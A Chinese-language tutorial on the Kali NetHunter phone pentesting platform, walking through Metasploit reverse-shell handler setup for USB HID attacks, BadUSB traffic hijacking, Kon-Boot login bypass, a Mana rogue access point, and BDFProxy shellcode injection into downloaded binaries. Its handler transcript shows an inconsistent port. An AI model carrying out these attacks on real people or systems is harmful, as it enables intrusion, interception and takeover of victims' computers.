許多朋友都希望Hacking套件可以很方便的從PC移植到更便攜的手機或平板電腦上,而Offensive Security團隊發布的Kali NetHunter則將這一期待變為現實,通過移動終端隨時隨地進行Hacking,暫且美其名曰口袋Hacking.
Kali NetHunter是以Nexus(手機/平板)為基本硬件設備(新增對1+手機的支持),基于原生Android實現的便攜滲透測試平臺.熟悉的Kali使其易于上手,而圖形化控制界面則使某些測試更易.基于此平臺,工程師們也可自由發揮,加入個人項目.
關于NetHunter國內外文章相對較少且重復度高,故在此將其主要實戰技巧加以整理介紹,以備各位愛好者參考.由于資料不足,難免出錯之處,如有疏漏錯誤,望不吝賜教.
NetHunter官網給出以下支持刷入NetHunter的手機:
Nexus 4 (GSM) - “mako”
Nexus 5 (GSM/LTE) - “hammerhead”
Nexus 7 [2012] (Wi-Fi) - “nakasi”
Nexus 7 [2012] (Mobile) - “nakasig”
Nexus 7 [2013] (Wi-Fi) - “razor”
Nexus 7 [2013] (Mobile) - “razorg”
Nexus 10 (Tablet) - “mantaray”
OnePlus One 16 GB - “bacon”
OnePlus One 64 GB - “bacon”
值得一提的是,2015年NetHunter更新,由于1+手機的廉價與高性能,其被加入支持列表.用1+手機的朋友有福了,以下刷機以Nexus5為例.
官網給出幾種刷機方式,推薦使用Windows引導刷機程序安裝.下載地址:
https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe
打開安裝引導程序,默認路徑安裝
安裝后自動運行NetHunter Installer并更新,進入引導安裝步驟
可以通過Test Drivers測試是否安裝成功
如已經通過官網下載過刷機包,通過Browser選擇文件.下載鏈接 http://www.offensive-security.com/kali-linux-nethunter-download/ 下載后記得校驗SHA1值.至于Android Flash Setting,因為對Android L的支持還未完成,故尚未開放選擇.
如圖示,下載所有依賴文件.
所有依賴包都為Ready可進入下一步刷機.
解鎖bootloader,注意需設置允許USB調試,手機會重啟解鎖.
同樣再手機上勾選允許USB調試,注意數據會清空,記得備份.
經過上一步重置手機后,需重新開啟開發者模式,此時可刷入Kali Linux鏡像并對手機進行Root,所需時間相對較長.(注:如鏡像推送不成功,可以手工將kali_linux_nethunter_1.10_hammerhead_kitkat.zip復制到/sdcard/download/目錄進行INSTALL)
完成系統刷入后,要豐富NetHunter原裝工具,可以下載部分安卓APP以配合.以下為個人推薦
中文輸入法:作為一個漢語狗還是必備的
文件管理器(如RootExplorer):Kali某些文件需要通過支持Root權限的文件管理器.
ShadowSocks:梯子還是要有的
MiTM工具:
zANTI2:雖為商業化限制部分功能,但使用體驗的確好些.
dSploit:曾經很出名
lanmitm:國內安全工作者編寫發布的工具
Intercepter-NG:嗅探工具
Network Spoofer:自帶許多調戲功能
IPTools:部分常見基本網絡工具集合
ChangeHostname:修改當前手機主機名HostName(還是有必要的).
WiGLE wifi:War Driving工具,收集無線熱點信息,可保存到本地數據庫.
SQLiteEditor:方便讀取數據庫信息
Hacker's KeyBoard:NetHunter自帶,便于輸入各種控制字符
遠程桌面:NetHunter自帶,便于連接VNC服務.
DriveDroid:NetHunter自帶,將手機內鏡像模擬為啟動盤.
安裝好NetHunter,先要對其目錄與服務研究一番.Kali NetHunter根目錄對應安卓系統目錄的/data/local/kali-armhf目錄
NetHunter自帶工具,也多在此目錄內.故如有抓包/日志等文件,找不到存放地址,不妨到此目錄下尋覓一番(注:需Root權限).另外,NetHunter某些工具運行時的提示的目錄,也多以此處為根目錄.
通常,截獲的數據包等文件存放在NetHunter目錄下的Captures目錄:
與Kali Linux類似,/usr/share下存放了大部分工具,并建立link,命令行可直接調用.
而Metasploit則依然位于/opt/目錄下.
上圖中/opt/dic目錄則存放有字典文件,可自行補充.
此為/var/www目錄,想來大家也知道是何用處了:)
至于服務,Offensive Security團隊在新版中加入NetHunter Home以APP的形式管理服務開關,避免了之前版本通過WebServer管理的弊端(比如Web頁面調用Google Fonts被墻卡半天 ;)
如圖示,NetHunter Home為主頁面,除了Offensive Security的Banner,還可以獲取當前IP(內網/外網)地址.
Kali Launcher整合了四個啟動器:
對于NetHunter服務開關控制,則在Kali Service Control面板里進行設置
可看到,NetHunter可開放服務有SSH,Dnsmasq,Hostapd,OpenVPN,Apache,Metasploit及BeEF FrameWork等.
在此面板可對對應服務進行開關設置.
在NetHunter Launcher中Kali Menu的啟動項,其包含整理有NetHunter常用工具,如圖:
與上一個版本相比,新增了以下選項:
USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi
主要模塊及介紹如下:
Wireless Attacks
Wifite
自動無線安全審計工具
Kismet
無線WarDriving工具
AP F**ker
無線網惡意攻擊工具(多為拒絕服務)
Wash
掃描開啟WPS的無線網絡
Airodump-ng
基本無線攻擊套件(必備)
Pingen
針對某些開啟WPS的D-link的路由器計算其PIN碼以破解
Sniffing/Spoofing
tcpdump
基本流量Dump工具
tshark
WireShark的Cli工具,可抓取分析流量
urlsnarf
Dsniff工具包一部分,可嗅探HTTP請求包內容,并以CLF通用日志格式輸出
dsniff
強大的知名口令嗅探工具包
MITMproxy
中間代理,可截獲修改HTTP流量,參考官網介紹
Reverse Shells
AutoSSH
通過SSH反彈shell(NAT Bypass)
pTunnel
通過ICMP數據包隧道傳送數據
Info Gathering
Spiderfoot
開源掃描與信息收集工具,對給定域名收集子域,Email地址,web服務器版本等信息,自動化掃描.
Recon-ng
強大的信息收集工具,模塊化,可惜許多插件國內不適用(有墻).
Device-pharmer
通過Shodan搜索,大數據Hacking.
Vulnerability Scan
OpenVas
漏洞掃描器,需額外安裝.Kali一直默認包含,好不好用客官自行定奪. :)
Exploit Tools
Metasploit
強大,核心,必備
BeEF-XSS
XSS滲透測試工具,看個人習慣使用
Social-Engineering-Toolkit
Kali下的SET,社會工程學套件,功能強大.
MITMf
中間人攻擊框架,基于Python,擁有多個插件,滲透測試功能強大
OpenVPN Setup
OpenVPN設置
VNC Setup
VNC設置
Log/Capture Menu
可擦除本地所有抓取數據或同步到SD卡上(同步主要是解決權限問題.比如多數安卓APP未獲得root權限是無法讀取NetHunter工具截獲的數據內容)
USB Attacks
Dictionary based brute force attack
自動輸入字典一行內容并回車,基于HID,模擬操作方式的暴力破解
deADBolt
執行一堆ADB命令可以推送隱私文件等信息到指定目錄,參考項目主頁 https://github.com/photonicgeek/deADBolt
NFC Attack
提供了復制、重寫、查看M卡數據功能(是不是不必帶上Acr122u了;)
Settings
Service
Monitor Mode
啟動或關閉wlan1(外置無線網卡)的混雜監聽模式
Eject USB Wifi
彈出USB無線網卡
在過去,USB自啟往往依賴插入的USB設備中的autorun.inf實現.時下這招往往不靈,而新興的USB HID Attack則成為新的安全威脅.USB HID可通過模擬鍵盤或鼠標操作,實時執行目標代碼,在此以PowerSploit結合MSF為例:
首先運行提供payload的webserver,在Kali Service Control中開啟Apache服務器
轉到HID攻擊配置頁面,選擇PowerSploit
IP和端口填寫MSF監聽的IP端口,Payload我們選擇windows/meterpreter/reverse_https,URL為提供Apache服務的IP,這里即本機:192.168.1.151
配置好后UPDATE配置文件,接下來需配置MSF監聽反彈shell
[email protected]:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >
payload同HID配置頁面中的payload
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
IP和端口同樣設置
msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...
至此配置OK
開始監聽
此時將設備連接至PC機,等待設備被識別后,執行Execute,攻擊開始.
POWERSHELL命令執行后,就可在msf中看到反彈的shell了:
如連上PC后沒有反應,可按Reset USB鍵更新.
當然,HID KeyBoard Attack也提供了Windows CMD攻擊模塊,即連入計算機后自動打開CMD并執行指定命令(默認為添加新管理員用戶,可自由定制).
BadUSB Attack是BlackHat大會上公布的一種較先進的USB攻擊方式,模擬鍵盤操作等Payload可自動執行某些操作,而NetHunter的BadUSB MiTM Attack則是其中一種玩法:修改網絡設定,劫持網絡流量.
關于BadUSB MITM Attack,NetHunter官網有演示視頻,詳見http://www.nethunter.com/showcase/,但并未交代詳細過程,以下筆者操作為例:
首先,確保手機連接目標計算機時,MTP文件傳輸是關閉的.連接目標計算機,打開手機USB網絡共享:
此時在NetHunter Home打開一個Kali Shell,查看網卡多出虛擬網卡rndis0(USB網絡共享網卡).
此時可以開啟Tcpdump截獲流量,命令如:
tcpdump -i rndis0
回到NetHunter Home,切換到BadUSB MiTM Attack,勾選右上角選項Start BadUSB Attack
被連接的計算機此時會多出一個網卡,網關為rndis0的IP地址
此時流量已可以截獲,例如訪問某些網站,手機tcpdump處流量顯示如圖:
因為手機并未插入SIM卡,無網絡,故PC機并無法得到返回頁面.
之前有同學在Drops分享的一片文章Kali Nethunter初體驗中提到:
出現雙網關現在所以并未像官網演示的那樣流量直接走向惡意網關(10.0.0.1)而是依舊走的之前的網關(192.168.1.1)故劫持失敗
這種情況也可能出現,不過個人測試中,網絡連接優先級,默認劫持后的網關優先級更高,故流量可以正常劫持.也可能是NetHunter今年更新后做的優化,如圖示:
當然,配合HID Keyboard Attack進行攻擊測試也是很好的方式,至于數據包的保存與分析,則可自行發揮.
NetHunter其實有許多隱藏玩法,比如借助DriveDroid實現Windows登陸繞過密碼.
DriveDroid本是個允許通過安卓手機中的ISO/IMG鏡像文件引導啟動PC機的一個App,但結合了特定的鏡像,實現繞過Windows登陸認證就變得可行:)
在此以Win7為例,首先為默認賬戶創建密碼hello.
DriveDroid默認引導鏡像存放目錄位于SDCard/Download/images,只需將欲引導的鏡像存放于此目錄即可.
這里繞過Windows或OSX登陸認證的鏡像為Kon-Boot.可以到官網了解,其原理在于處理BIOS修改系統內核的引導處理,跳過SAM檢查,直接登陸系統.因為是付費軟件,以下以自行尋覓的鏡像為例演示.
關閉MTP文件傳輸,打開DriveDroid,自動列出images目錄下得鏡像文件.
選擇Kon-Boot.img鏡像掛載,模式這里選擇為Read-Only USB
加載成功后相應鏡像有所標志
而在連入的PC機中也會顯示加載有新的可移動磁盤(或軟驅盤),如未能顯示,可在配置頁面進行相應調整(可通過USB Setup Wizard向導指引)
此時在設有密碼的PC機重啟,進入BIOS設置啟動項
如果鏡像加載成功,可以看到飛奔的圖案如下:
之后登陸用戶密碼處回車即可繞過密碼認證登陸系統
需要說明的是,通過此方式登陸系統無法直接修改或刪除系統密碼.
猶記得當年前輩們肩扛筆記本做WarDriving的事跡,智能設備發展至今,WarDriving已可用便攜設備取代.只是至今遲遲沒有尋覓到比較合適直觀的WarDriving工具,期待有朋友能開發或推薦個.
在NetHunter下,Kali-Menu的Wireless模塊中Kismet作為WarDriving的默認工具,不過操作起來畫面太美不敢看:
退而求其次,推薦使用App WigleWifi.不過注意不要不小心上傳數據.使用easy,界面很難看.
好在數據可以以Sqlite數據庫格式存儲在本地.
想建個CMCC無線網絡釣魚劫持流量?PineApple沒有帶在身邊,不妨拿出手機,開個蜜罐吧. :)
Mana蜜罐采用與PineApple相同的:Hostapd的Karma補丁,可用來欺騙接入無線網絡用戶,使其可很平滑連接到虛假AP中,進行后續攻擊.
需要說明的是,NetHunter無線攻擊模塊,大都需要使用OTG外接USB無線網卡.主流芯片(可以試試Kali是否可直接識別)網卡均可.WN722N較為推薦,迷你的EDUP網卡通用性則較強(Raspberry Pi也可直接識別),只是信號強度..自然可想而知.
Mana蜜罐有多種Hacking模式,均為sh腳本,可自由定制.Mana工具安裝目錄為:
/usr/share/mana-toolkit
啟動腳本則在此處存放:
/usr/share/mana-toolkit/run-mana
截獲流量文件存放于:
/var/lib/mana-toolkit
通過NetHunter Home的Mana蜜罐頁面可方便的對配置文件進行修改:
Hostapd配置文件
DHCP服務配置文件
DNS欺騙配置文件
服務啟動腳本有多個,均可自由編輯修改:
上圖對應腳本start-nat-full.sh,腳本需要USB無線網卡(存在上行流量)啟動,無線連入為NAT模式,并啟動所有腳本包括:firelamb,sslstrip,sslsplit等,截獲流量并保存.
start-nat-simple.sh同樣有上行流量,但并不啟動firelamb,sslstrip,sslsplit等腳本.
start-nat-simple-bdf.sh,加入了BDF惡意代碼Inject工具,后面章節將對其攻擊思路進行介紹.
此外,還有
start-noupstream.sh
Mana作為無法上網的虛假AP啟動,但可吸引WIFI默認開啟的終端自動連接并抓取信息.
start-noupstream-eap.sh
Mana同樣無法上網,但會進行EAP攻擊
編輯好啟動文件后,Start Attack,會彈窗勾選啟動腳本:
即可啟動服務.
這個攻擊思路就比較有趣了,新功能在NetHunter今年1月5號發布的版本中作為Kali Nethunter目前最新最酷炫的玩法,源于secret squirrel的github項目the-backdoor-factory和BDFProxy,可讓我們輕松地對使用HTTP協議傳送的二進制文件注入shellcode.
首先建立一個Mana蜜罐,SSID這里使用默認名稱internet,啟動服務
cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh
再開一個Shell,編輯bdfproxy.cfg,此配置文件包含了針對不同平臺默認設置的payload,可自行更換.不過由于顯示問題,用nano編輯文本會一行行刷新,還是換個方式編輯比較好.這里只把IP修改192.168.1.151,也可在Nethunter的主面板下的MANA Evil Access Point中進行配置.
nano /etc/bdfproxy/bdfproxy.cfg
配置好IP之后,在Shell中直接輸入bdfproxy運行之.
再新開一個Shell啟動Metasploit
一切準備就緒,等待連入蜜罐AP的PC機上網下載二進制文件,在此通過百度下載everything(神器啊)演示:
運行everthing,因為注入了payload,會出現自校驗失敗的提示
查看MSF,已成功反彈回Shell了.而上面自校驗失敗的提示就是MeterPreter的screenshot幫我截取的 :)
不得不說,這個新特性真的很Cool.
寫到最后,還沒有提到無線破解是不科學的;) NetHunter推薦的Wifite破解工具是其最早集成的功能之一.移動設備的便攜性更有利于隨時隨地進行Wifi安全測試,只需掛載上外置無線網卡便可輕松抓包破解.不過并不建議直接在移動設備上破解抓到的包,如跑幾分鐘沒結果,就拿高性能設備破解吧,否則易導致設備死機.
連接好外置無線網卡后,在Nethunter主菜單選擇Launch Wifite即可進入
選擇開啟混雜監聽模式的網卡,選擇Wlan1
掃描開始,每5秒更新一次,當確認攻擊目標后CTRL+C停止掃描
輸入攻擊目標序號,這里就選XDSEC-WIFI
了,輸入2
抓包成功后自動調用字典破解,這里機智的把字典刪掉,其自動退出
抓到的握手包存放在/data/local/kali-armhf/HS目錄下,命名規則是SSID+MAC
如果目標開啟WPS,則自動進行PIN碼破解.
Wifite相對傻瓜化,易操作,適合移動終端.對無線網密碼測試筆者也成功過幾次,連入無線后結合zANTI等工具調戲即可:)
文末,已將NetHunter大部分實戰玩法進行相應介紹,文章為卷毛zing同學與順毛le4f同學共同編寫,能力有限,如有不足之處望指出.拋磚引玉,期待有更多技巧分享.